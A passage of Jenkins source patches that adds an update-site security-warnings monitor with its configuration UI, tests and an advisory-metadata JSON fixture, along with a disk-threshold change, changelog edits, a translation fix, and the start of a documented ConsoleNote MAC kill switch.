org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.interceptor.RequirePOST; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + + +/** + * Administrative monitor showing plugin/core warnings published by the configured update site to the user. + * + *

                                                      Terminology overview:

                                                      + * + *
                                                        + *
                                                      • Applicable warnings are those relevant to currently installed components + *
                                                      • Active warnings are those actually shown to users. + *
                                                      • Hidden warnings are those _not_ shown to users due to them being configured to be hidden. + *
                                                      • Inapplicable warnings are those that are not applicable. + *
                                                      + * + *

                                                      The following sets may be non-empty:

                                                      + * + *
                                                        + *
                                                      • Intersection of applicable and active + *
                                                      • Intersection of applicable and hidden + *
                                                      • Intersection of hidden and inapplicable (although not really relevant) + *
                                                      • Intersection of inapplicable and neither hidden nor active + *
                                                      + * + *

                                                      The following sets must necessarily be empty:

                                                      + * + *
                                                        + *
                                                      • Intersection of applicable and inapplicable + *
                                                      • Intersection of active and hidden + *
                                                      • Intersection of active and inapplicable + *
                                                      + * + * @since TODO + */ +@Extension +@Restricted(NoExternalUse.class) +public class UpdateSiteWarningsMonitor extends AdministrativeMonitor { + @Override + public boolean isActivated() { + return !getActiveCoreWarnings().isEmpty() || !getActivePluginWarningsByPlugin().isEmpty(); + } + + public List getActiveCoreWarnings() { + List CoreWarnings = new ArrayList<>(); + + for (UpdateSite.Warning warning : getActiveWarnings()) { + if (warning.type != UpdateSite.Warning.Type.CORE) { + // this is not a core warning + continue; + } + CoreWarnings.add(warning); + } + return CoreWarnings; + } + + public Map> getActivePluginWarningsByPlugin() { + Map> activePluginWarningsByPlugin = new HashMap<>(); + + for (UpdateSite.Warning warning : getActiveWarnings()) { + if (warning.type != UpdateSite.Warning.Type.PLUGIN) { + // this is not a plugin warning + continue; + } + + String pluginName = warning.component; + + PluginWrapper plugin = Jenkins.getInstance().getPluginManager().getPlugin(pluginName); + + if (!activePluginWarningsByPlugin.containsKey(plugin)) { + activePluginWarningsByPlugin.put(plugin, new ArrayList()); + } + activePluginWarningsByPlugin.get(plugin).add(warning); + } + return activePluginWarningsByPlugin; + + } + + private Set getActiveWarnings() { + ExtensionList configurations = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (configurations.isEmpty()) { + return Collections.emptySet(); + } + UpdateSiteWarningsConfiguration configuration = configurations.get(0); + + HashSet activeWarnings = new HashSet<>(); + + for (UpdateSite.Warning warning : configuration.getApplicableWarnings()) { + if (!configuration.getIgnoredWarnings().contains(warning.id)) { + activeWarnings.add(warning); + } + } + + return Collections.unmodifiableSet(activeWarnings); + } + + /** + * Redirects the user to the plugin manager or security configuration + */ + @RequirePOST + public HttpResponse doForward(@QueryParameter String fix, @QueryParameter String configure) { + if (fix != null) { + return HttpResponses.redirectViaContextPath("pluginManager"); + } + if (configure != null) { + return HttpResponses.redirectViaContextPath("configureSecurity"); + } + + // shouldn't happen + return HttpResponses.redirectViaContextPath("/"); + } + + /** + * Returns true iff there are applicable but ignored (i.e. hidden) warnings. + * + * @return true iff there are applicable but ignored (i.e. hidden) warnings. + */ + public boolean hasApplicableHiddenWarnings() { + ExtensionList configurations = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (configurations.isEmpty()) { + return false; + } + + UpdateSiteWarningsConfiguration configuration = configurations.get(0); + + return getActiveWarnings().size() < configuration.getApplicableWarnings().size(); + } + + @Override + public String getDisplayName() { + return Messages.UpdateSiteWarningsMonitor_DisplayName(); + } +} diff --git a/core/src/main/resources/hudson/PluginManager/table.jelly b/core/src/main/resources/hudson/PluginManager/table.jelly index 7c289a7c82..7511c82584 100644 --- a/core/src/main/resources/hudson/PluginManager/table.jelly +++ b/core/src/main/resources/hudson/PluginManager/table.jelly @@ -110,6 +110,15 @@ THE SOFTWARE.
                                                      ${%depCoreWarning(p.getNeededDependenciesRequiredCore().toString())}
                                                      + +
                                                      ${%securityWarning} + +
                                                      +
                                                      diff --git a/core/src/main/resources/hudson/PluginManager/table.properties b/core/src/main/resources/hudson/PluginManager/table.properties index e7cd25852c..63c161534c 100644 --- a/core/src/main/resources/hudson/PluginManager/table.properties +++ b/core/src/main/resources/hudson/PluginManager/table.properties @@ -34,3 +34,6 @@ depCoreWarning=\ Warning: This plugin requires dependent plugins that require Jenkins {0} or newer. \ Jenkins will refuse to load the dependent plugins requiring a newer version of Jenkins, \ and in turn loading this plugin will fail. +securityWarning=\ + Warning: This plugin version may not be safe to use. Please review the following security notices: + diff --git a/core/src/main/resources/jenkins/security/Messages.properties b/core/src/main/resources/jenkins/security/Messages.properties index e09dca3e79..f0a98fb4a2 100644 --- a/core/src/main/resources/jenkins/security/Messages.properties +++ b/core/src/main/resources/jenkins/security/Messages.properties @@ -24,4 +24,5 @@ ApiTokenProperty.DisplayName=API Token ApiTokenProperty.ChangeToken.TokenIsHidden=Token is hidden ApiTokenProperty.ChangeToken.Success=
                                                      Updated. See the new token in the field above
                                                      ApiTokenProperty.ChangeToken.SuccessHidden=
                                                      Updated. You need to login as the user to see the token
                                                      -RekeySecretAdminMonitor.DisplayName=Re-keying \ No newline at end of file +RekeySecretAdminMonitor.DisplayName=Re-keying +UpdateSiteWarningsMonitor.DisplayName=Update Site Warnings diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy new file mode 100644 index 0000000000..ac82bf1891 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy @@ -0,0 +1,70 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.UpdateSiteWarningsConfiguration + +f = namespace(lib.FormTagLib) +st = namespace("jelly:stapler") + +st.adjunct(includes: "jenkins.security.UpdateSiteWarningsConfiguration.style") + +def printEntry(warning, title, checked) { + f.block { + f.checkbox(name: warning.id, + title: title, + checked: checked, + class: 'hideWarnings'); + div(class: "setting-description") { + a(warning.url, href: warning.url) + } + } +} + +f.section(title:_("Hidden security warnings")) { + + f.advanced(title: _("Security warnings"), align:"left") { + f.block { + text(_("blurb")) + } + f.entry(title: _("Security warnings"), + help: '/descriptorByName/UpdateSiteWarningsConfiguration/help') { + table(width:"100%") { + + descriptor.applicableWarnings.each { warning -> + if (warning.type == hudson.model.UpdateSite.Warning.Type.CORE) { + printEntry(warning, + _("warning.core", warning.message), + !descriptor.isIgnored(warning)) + } + else if (warning.type == hudson.model.UpdateSite.Warning.Type.PLUGIN) { + def plugin = descriptor.getPlugin(warning) + printEntry(warning, + _("warning.plugin", plugin.displayName, warning.message), + !descriptor.isIgnored(warning)) + } + } + } + } + } +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties new file mode 100644 index 0000000000..333445cd3f --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties @@ -0,0 +1,27 @@ +# The MIT License +# +# Copyright (c) 2016, CloudBees, Inc. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +warning.core = Jenkins core: {0} +warning.plugin = {0}: {1} + +blurb = This section allows you to disable warnings published on the update site. \ + Checked warnings are visible (the default), unchecked warnings are hidden. diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html new file mode 100644 index 0000000000..1cb7b1df5d --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html @@ -0,0 +1,14 @@ +

                                                      + This list contains all warnings relevant to currently installed components published by the configured update sites. + These are typically security-related. + Warnings that have been published but are not relevant to currently installed components (either because the affected component isn't installed, or an unaffected version is installed) are not shown here. +

                                                      +

                                                      + Checked entries (the default) are active, i.e. they're shown to administrators in an administrative monitor. + Entries can be unchecked to hide them. + This can be useful if you've evaluated a specific warning and are confident it does not apply to your environment or configuration, and continued use of the specified component does not constitute a security problem. +

                                                      +

                                                      + Please note that only specific warnings can be disabled; it is not possible to disable all warnings about a certain component. + If you wish to disable the display of warnings entirely, then you can disable the administrative monitor in Configure System. +

                                                      diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css new file mode 100644 index 0000000000..ff1dd9bb5e --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css @@ -0,0 +1,4 @@ +.hideWarnings:not(:checked) + label { + color: grey; + text-decoration: line-through; +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy new file mode 100644 index 0000000000..09e9bfe161 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy @@ -0,0 +1,77 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.UpdateSiteWarningsMonitor + +def f = namespace(lib.FormTagLib) + +def listWarnings(warnings) { + warnings.each { warning -> + li { + a(warning.message, href: warning.url) + } + } +} + +def coreWarnings = my.activeCoreWarnings +def pluginWarnings = my.activePluginWarningsByPlugin + +div(class: "error") { + text(_("blurb")) + ul { + if (!coreWarnings.isEmpty()) { + li { + text(_("coreTitle", jenkins.model.Jenkins.version)) + ul { + listWarnings(coreWarnings) + } + } + } + + if (!pluginWarnings.isEmpty()) { + li { + pluginWarnings.each { plugin, warnings -> + a(_("pluginTitle", plugin.displayName, plugin.version), href: plugin.url) + + ul { + listWarnings(warnings) + } + } + } + } + } + + if (my.hasApplicableHiddenWarnings()) { + text(_("more")) + } +} + +form(method: "post", action: "${rootURL}/${it.url}/forward") { + div { + if (!pluginWarnings.isEmpty()) { + f.submit(name: 'fix', value: _("pluginManager.link")) + } + f.submit(name: 'configure', value: _("configureSecurity.link")) + } +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties new file mode 100644 index 0000000000..35d33182f2 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties @@ -0,0 +1,31 @@ +# The MIT License +# +# Copyright (c) 2016, CloudBees, Inc. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +pluginTitle = {0} {1}: +coreTitle = Jenkins {0} core and libraries: + +blurb = Warnings have been published for the following currently installed components: +more = Additional warnings are hidden due to the current security configuration. + + +pluginManager.link = Go to plugin manager +configureSecurity.link = Configure which of these warnings are shown diff --git a/test/src/test/java/hudson/model/UpdateSiteTest.java b/test/src/test/java/hudson/model/UpdateSiteTest.java index 8e22d43f76..8e49e20f2d 100644 --- a/test/src/test/java/hudson/model/UpdateSiteTest.java +++ b/test/src/test/java/hudson/model/UpdateSiteTest.java @@ -33,6 +33,7 @@ import java.io.IOException; import java.net.URISyntaxException; import java.net.URL; import java.util.Arrays; +import java.util.Collections; import java.util.HashSet; import javax.servlet.ServletException; @@ -41,6 +42,8 @@ import javax.servlet.http.HttpServletResponse; import static org.junit.Assert.*; +import jenkins.security.UpdateSiteWarningsConfiguration; +import jenkins.security.UpdateSiteWarningsMonitor; import org.apache.commons.io.FileUtils; import org.eclipse.jetty.server.HttpConnection; import org.eclipse.jetty.server.Request; @@ -52,6 +55,7 @@ import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; public class UpdateSiteTest { @@ -127,5 +131,24 @@ public class UpdateSiteTest { assertEquals(FormValidation.ok(), us.updateDirectly(/* TODO the certificate is now expired, and downloading a fresh copy did not seem to help */false).get()); assertNotNull(us.getPlugin("AdaptivePlugin")); } - + + @Test public void lackOfDataDoesNotFailWarningsCode() throws Exception { + assertNull("plugin data is not present", j.jenkins.getUpdateCenter().getSite("default").getData()); + + // nothing breaking? + j.jenkins.getExtensionList(UpdateSiteWarningsMonitor.class).get(0).getActivePluginWarningsByPlugin(); + j.jenkins.getExtensionList(UpdateSiteWarningsMonitor.class).get(0).getActiveCoreWarnings(); + j.jenkins.getExtensionList(UpdateSiteWarningsConfiguration.class).get(0).getAllWarnings(); + } + + @Test public void incompleteWarningsJson() throws Exception { + PersistedList sites = j.jenkins.getUpdateCenter().getSites(); + sites.clear(); + URL url = new URL(baseUrl, "/plugins/warnings-update-center-malformed.json"); + UpdateSite site = new UpdateSite(UpdateCenter.ID_DEFAULT, url.toString()); + sites.add(site); + assertEquals(FormValidation.ok(), site.updateDirectly(false).get()); + assertEquals("number of warnings", 7, site.getData().getWarnings().size()); + assertNotEquals("plugin data is present", Collections.emptyMap(), site.getData().plugins); + } } diff --git a/test/src/test/resources/plugins/warnings-update-center-malformed.json b/test/src/test/resources/plugins/warnings-update-center-malformed.json new file mode 100644 index 0000000000..ba99e7aa55 --- /dev/null +++ b/test/src/test/resources/plugins/warnings-update-center-malformed.json @@ -0,0 +1,264 @@ +{ + "connectionCheckUrl": "http://www.google.com/", + "core": { + "buildDate": "Dec 18, 2016", + "name": "core", + "sha1": "x4rDgtNYm9l7zJ16RVuxMRgGoQE=", + "url": "http://updates.jenkins-ci.org/download/war/2.37/jenkins.war", + "version": "2.37" + }, + "id": "jenkins40494", + "plugins": { + "display-url-api": { + "buildDate": "Sep 22, 2016", + "dependencies": [ + { + "name": "junit", + "optional": false, + "version": "1.3" + } + ], + "developers": [ + { + "developerId": "jdumay", + "email": "jdumay@cloudbees.com", + "name": "James Dumay" + } + ], + "excerpt": "\\\\ Provides the DisplayURLProvider extension point to provide alternate URLs for use in notifications. URLs can be requested/extended for these UI locations: * Root page. * Job. * Run. * Run changes. * Test result. ", + "gav": "org.jenkins-ci.plugins:display-url-api:0.5", + "labels": [], + "name": "display-url-api", + "previousTimestamp": "2016-09-22T09:35:08.00Z", + "previousVersion": "0.4", + "releaseTimestamp": "2016-09-22T10:42:00.00Z", + "requiredCore": "1.625.3", + "scm": "github.com", + "sha1": "QEykyLSFuZTnFyHrzZEOgzSsYcU=", + "title": "Display URL API", + "url": "http://updates.jenkins-ci.org/download/plugins/display-url-api/0.5/display-url-api.hpi", + "version": "0.5", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Display+URL+API+Plugin" + }, + "junit": { + "buildDate": "Oct 17, 2016", + "dependencies": [ + { + "name": "structs", + "optional": false, + "version": "1.2" + } + ], + "developers": [ + { + "developerId": "ogondza" + } + ], + "excerpt": "Allows JUnit-format test results to be published.", + "gav": "org.jenkins-ci.plugins:junit:1.19", + "labels": [ + "report" + ], + "name": "junit", + "previousTimestamp": "2016-08-08T15:10:34.00Z", + "previousVersion": "1.18", + "releaseTimestamp": "2016-10-17T12:15:20.00Z", + "requiredCore": "1.580.1", + "scm": "github.com", + "sha1": "f3jcYlxz6/8PK43W3KL5LFtz7ro=", + "title": "JUnit Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/junit/1.19/junit.hpi", + "version": "1.19", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/JUnit+Plugin" + }, + "mailer": { + "buildDate": "Sep 04, 2016", + "dependencies": [ + { + "name": "display-url-api", + "optional": false, + "version": "0.2" + } + ], + "developers": [ + { + "developerId": "andresrc" + } + ], + "excerpt": "This plugin allows you to configure email notifications for build results. This is a break-out of the original core based email component. ", + "gav": "org.jenkins-ci.plugins:mailer:1.18", + "labels": [], + "name": "mailer", + "previousTimestamp": "2016-04-20T08:46:22.00Z", + "previousVersion": "1.17", + "releaseTimestamp": "2016-09-04T09:14:16.00Z", + "requiredCore": "1.625.3", + "scm": "github.com", + "sha1": "poG1EauZFM5lZE5hCBx5mqr/mMA=", + "title": "Jenkins Mailer Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/mailer/1.18/mailer.hpi", + "version": "1.18", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Mailer" + }, + "extra-columns": { + "buildDate": "Apr 11, 2016", + "dependencies": [ + { + "name": "junit", + "optional": false, + "version": "1.11" + } + ], + "developers": [ + { + "developerId": "fredg", + "name": "Fred G." + } + ], + "excerpt": "This is a general listview-column plugin that currently contains the following columns: Test Result, Configure Project button, Disable/Enable Project button, Project Description, Build Description, SCM Type, Last/Current Build Console output, Job Type, Build Duration, Build Parameters.", + "gav": "org.jenkins-ci.plugins:extra-columns:1.17", + "labels": [ + "listview-column" + ], + "name": "extra-columns", + "previousTimestamp": "2015-12-11T01:18:48.00Z", + "previousVersion": "1.16", + "releaseTimestamp": "2016-04-11T22:36:22.00Z", + "requiredCore": "1.475", + "scm": "github.com", + "sha1": "8y9Y91n7/Aw47G3pCxzJzTd94J0=", + "title": "Extra Columns Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/extra-columns/1.17/extra-columns.hpi", + "version": "1.17", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Extra+Columns+Plugin" + }, + "structs": { + "buildDate": "Aug 30, 2016", + "dependencies": [], + "developers": [ + { + "developerId": "jglick" + } + ], + "excerpt": "Library plugin for DSL plugins that need concise names for Jenkins extensions", + "gav": "org.jenkins-ci.plugins:structs:1.5", + "labels": [], + "name": "structs", + "previousTimestamp": "2016-08-26T14:11:44.00Z", + "previousVersion": "1.4", + "releaseTimestamp": "2016-08-30T14:10:10.00Z", + "requiredCore": "1.580.1", + "scm": "github.com", + "sha1": "fK+F0PEfSS//DOqmNJvX2rQYabo=", + "title": "Structs Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/structs/1.5/structs.hpi", + "version": "1.5", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Structs+plugin" + } + }, + "warnings": [ + { + "id": "SECURITY-208", + "type": "plugin", + "name": "google-login", + "message": "Authentication bypass vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-10-12", + "versions": [ + { + "lastVersion": "1.1", + "pattern": "1[.][01](|[.-].*)" + } + ] + }, + { + "id": "SECURITY-136", + "type": "plugin", + "name": "extra-columns", + "message": "Stored XSS vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-04-11", + "versions": [ + { + "lastVersion": "1.16", + "pattern": "1[.](\\d|1[0123456])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-258", + "type": "plugin", + "name": "extra-columns", + "message": "Groovy sandbox protection incomplete", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-04-11", + "versions": [ + { + "lastVersion": "1.18", + "pattern": "1[.](\\d|1[012345678])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-85", + "type": "plugin", + "name": "tap", + "message": "Path traversal vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.24", + "pattern": "1[.](\\d|1\\d|2[01234])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-278", + "type": "plugin", + "name": "image-gallery", + "message": "Path traversal vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.3", + "pattern": "(0[.].*|1[.][0123])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-290", + "type": "plugin", + "name": "build-failure-analyzer", + "message": "Cross-site scripting vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.15.0", + "pattern": "1[.](\\d|1[012345])[.]\\d+(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-305", + "type": "plugin", + "versions": [ + { + "lastVersion": "1.7.24", + "pattern": "1[.]7[.](\\d(|[.-].*)|24)" + } + ] + }, + { + "id": "SECURITY-309", + "type": "plugin", + "name": "cucumber-reports", + "message": "Plugin disables Content-Security-Policy for files served by Jenkins", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-07-27", + "versions": [ + { + "firstVersion": "1.3.0", + "lastVersion": "2.5.1", + "pattern": "(1[.][34]|2[.][012345])(|[.-].*)" + } + ] + } + ], + "updateCenterVersion": "1" +} \ No newline at end of file diff --git a/war/src/main/webapp/css/style.css b/war/src/main/webapp/css/style.css index 9491f28afb..3f2812f2cb 100644 --- a/war/src/main/webapp/css/style.css +++ b/war/src/main/webapp/css/style.css @@ -1580,6 +1580,13 @@ TEXTAREA.rich-editor { color: #FF0000; } +#plugins .securityWarning { + white-space: normal; + margin-top: 0.5em; + padding-left: 2em; + color: #FF0000; +} + /* ========================= progress bar ========================= */ table.progress-bar { -- GitLab From 7b51d56a7b5ad9854993c4e8c65d112c5f4e0b7c Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 8 Jan 2017 22:29:52 +0100 Subject: [PATCH 680/811] [FIX JENKINS-40749] Set default disk free threshold to 10GB (#2695) --- .../java/hudson/diagnosis/HudsonHomeDiskUsageChecker.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageChecker.java b/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageChecker.java index 4e16de8c99..3d842e1d79 100644 --- a/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageChecker.java +++ b/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageChecker.java @@ -64,10 +64,10 @@ public class HudsonHomeDiskUsageChecker extends PeriodicWork { private static final Logger LOGGER = Logger.getLogger(HudsonHomeDiskUsageChecker.class.getName()); /** - * Gets the minimum amount of space to check for, with a default of 1GB + * Gets the minimum amount of space to check for, with a default of 10GB */ public static long FREE_SPACE_THRESHOLD = Long.getLong( HudsonHomeDiskUsageChecker.class.getName() + ".freeSpaceThreshold", - 1024L*1024*1024); + 1024L*1024*1024*10); } -- GitLab From dd99a82c9e6e651d7f220bb95fd668de346fdfdc Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 8 Jan 2017 23:16:24 +0100 Subject: [PATCH 681/811] Changelog: Noting #2692, #2703, #2680, and #2695 towards 2.40 --- changelog.html | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/changelog.html b/changelog.html index 2bd4b8e7bf..90c172fe29 100644 --- a/changelog.html +++ b/changelog.html @@ -56,10 +56,21 @@ Upcoming changes

                                                      What's new in 2.39 (2017/01/02)

                                                      • -- GitLab From fb7a888a04048386fcf6f3d6c6eeaa61673bca8f Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 9 Jan 2017 06:13:04 +0100 Subject: [PATCH 686/811] We changed a URL and a label, not worth mentioning --- changelog.html | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/changelog.html b/changelog.html index e2f3d69478..7b4dc94ef5 100644 --- a/changelog.html +++ b/changelog.html @@ -88,11 +88,7 @@ Upcoming changes (issue 38175)
                                                      • Require POST in the Reload from disk management link. - (pull 2692) -
                                                      • - Internal: improvements around the built-in Securing Jenkins pages. - (pull 2702 and - pull 2699) + (pull 2692)

                                                      What's new in 2.39 (2017/01/02)

                                                        -- GitLab From d2388f533903926a10e0637f3fa20c40dbe81791 Mon Sep 17 00:00:00 2001 From: Francisco Capdevila Date: Mon, 9 Jan 2017 13:52:16 -0300 Subject: [PATCH 687/811] Fix Typo --- .../security/HudsonPrivateSecurityRealm/index_es.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_es.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_es.properties index 5d03bc6eaf..8c5b73e2c0 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_es.properties +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_es.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. blurb=\ - Estos usuarios pueden entrar en Jenkins. Este es un subconjunto de esta list, \ + Estos usuarios pueden entrar en Jenkins. Este es un subconjunto de esta lista, \ que tambien incluyen usuarios creados autom\u00e1ticamente porque hayan hecho ''commits'' a proyectos. \ Los usuarios creados autom\u00e1ticamente no tienen acceso directo a Jenkins. Name=Nombre -- GitLab From 1ce5df04e5c65e164f56755f3470cb445978c7d2 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 10 Jan 2017 17:05:28 -0500 Subject: [PATCH 688/811] @daniel-beck requests a kill switch for ConsoleNote.MAC. --- core/src/main/java/hudson/console/ConsoleNote.java | 10 +++++++++- .../java/hudson/console/AnnotatedLargeTextTest.java | 11 ++++++++++- 2 files changed, 19 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index 4c3785c95a..dc90310b4c 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -123,6 +123,12 @@ import jenkins.security.HMACConfidentialKey; public abstract class ConsoleNote implements Serializable, Describable>, ExtensionPoint { private static final HMACConfidentialKey MAC = new HMACConfidentialKey(ConsoleNote.class, "MAC"); + /** + * Allows historical build records with unsigned console notes to be displayed, at the expense of any security. + * Disables checking of {@link #MAC} so do not set this flag unless you completely trust all users capable of affecting build output, + * which in practice means that all SCM committers as well as all Jenkins users with any non-read-only access are consider administrators. + */ + static /* nonfinal for tests & script console */ boolean LENIENT_MAC = Boolean.getBoolean(ConsoleNote.class.getName() + ".LENIENT_MAC"); // TODO 2.x use SystemProperties /** * When the line of a console output that this annotation is attached is read by someone, @@ -240,7 +246,9 @@ public abstract class 